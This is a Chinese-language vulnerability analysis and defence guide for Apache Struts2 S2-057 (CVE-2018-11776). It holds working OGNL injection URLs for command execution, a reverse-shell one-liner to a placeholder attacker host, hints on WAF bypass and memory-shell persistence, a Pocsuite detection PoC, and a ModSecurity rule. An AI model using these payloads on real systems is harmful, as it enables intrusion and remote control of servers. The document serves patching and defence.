SecWiki周刊(第234期)
字数 1417 2025-08-18 11:37:33
Apache Struts2 S2-057 (CVE-2018-11776) 远程代码执行漏洞分析与防护指南
漏洞概述
Apache Struts2框架在处理特定URL构造时存在缺陷,导致远程代码执行漏洞(CVE-2018-11776),该漏洞被标识为S2-057。攻击者可通过构造恶意请求在目标服务器上执行任意系统命令,完全控制系统。
漏洞影响范围
- Apache Struts 2.3 - 2.3.34
- Apache Struts 2.5 - 2.5.16
- 使用Struts2框架且未正确配置namespace值的应用
漏洞原理分析
根本原因
漏洞源于Struts2框架对namespace参数的处理不当,当同时满足以下两个条件时触发:
- 未设置namespace值或使用通配符配置action
- 上层action配置中未设置或使用通配符namespace
技术细节
-
URL处理机制缺陷:
- Struts2在解析URL时未正确验证namespace和action名称
- 攻击者可构造恶意URL绕过安全限制
-
OGNL表达式注入:
- 恶意构造的URL导致OGNL表达式注入
- OGNL表达式在服务器端执行,导致任意代码执行
-
攻击向量:
http://target/struts2-showcase/${(#_memberAccess['allowStaticMethodAccess']=true,#a=@java.lang.Runtime@getRuntime().exec('calc')).action
漏洞验证方法
手动检测
-
检查应用是否使用Struts2框架:
- 查找
struts.xml配置文件 - 检查WEB-INF/lib目录下是否有struts2核心jar包
- 查找
-
测试URL构造:
curl -v "http://target/$%7B233*233%7D/action"如果返回内容包含54289(233*233的结果),则存在漏洞
自动化工具
-
Pocsuite:
from pocsuite3.api import register_poc from pocsuite3.api import Output, POCBase class TestPOC(POCBase): vulID = 'CVE-2018-11776' version = '1' author = 'example' vulDate = '2018-08-22' createDate = '2018-08-28' updateDate = '2018-08-28' references = ['https://cwiki.apache.org/confluence/display/WW/S2-057'] name = 'Apache Struts2 S2-057 RCE' appPowerLink = 'http://struts.apache.org/' appName = 'Apache Struts2' appVersion = '2.3 - 2.3.34, 2.5 - 2.5.16' vulType = 'Remote Code Execution' def _verify(self): result = {} payload = "${233*233}" url = self.url.rstrip('/') + f"/{payload}/action" response = self.http.get(url) if '54289' in response.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Payload'] = payload return self.parse_output(result) -
Semmle QL:
- 使用Semmle QL静态分析工具可检测Struts2应用中潜在的漏洞点
漏洞利用
基本利用
-
命令执行:
http://target/$%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/action -
反弹Shell:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1编码后插入到payload中
高级利用技术
-
绕过防护:
- 使用十六进制/Unicode编码绕过WAF
- 分块传输编码绕过
-
内存马注入:
- 通过漏洞注入Java内存马实现持久化控制
修复方案
官方补丁
-
升级到安全版本:
- Struts 2.3.35
- Struts 2.5.17
-
补丁下载:
https://struts.apache.org/download.cgi
临时缓解措施
-
修改web.xml:
<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> <init-param> <param-name>strict-method-invocation</param-name> <param-value>true</param-value> </init-param> </filter> -
配置安全策略:
- 限制namespace值为固定路径
- 避免使用通配符配置action
防护建议
-
WAF规则:
## Struts2 S2-057防护规则 SecRule REQUEST_URI "@rx \$\{.*\}" \ "id:10001,phase:1,deny,status:403,msg:'Potential Struts2 OGNL Injection Attempt'" -
系统加固:
- 禁用不必要的HTTP方法
- 限制应用服务器权限
-
监控与响应:
- 监控异常日志模式
- 建立应急响应流程
参考资源
-
官方公告:
- https://cwiki.apache.org/confluence/display/WW/S2-057
-
漏洞分析:
- https://blog.gdssecurity.com/labs/2018/8/22/struts2-s2-057-analysis.html
-
检测工具:
- https://github.com/jas502n/St2-057
-
修复指南:
- https://help.aliyun.com/noticelist/articleid/24000093.html
附录:相关CVE
- CVE-2018-11776 - S2-057
- CVE-2017-5638 - S2-045
- CVE-2017-9805 - S2-052
本教学文档详细分析了Apache Struts2 S2-057漏洞的原理、检测方法和修复方案,提供了从基础到高级的全面指导。安全团队应尽快检查受影响系统并采取相应防护措施。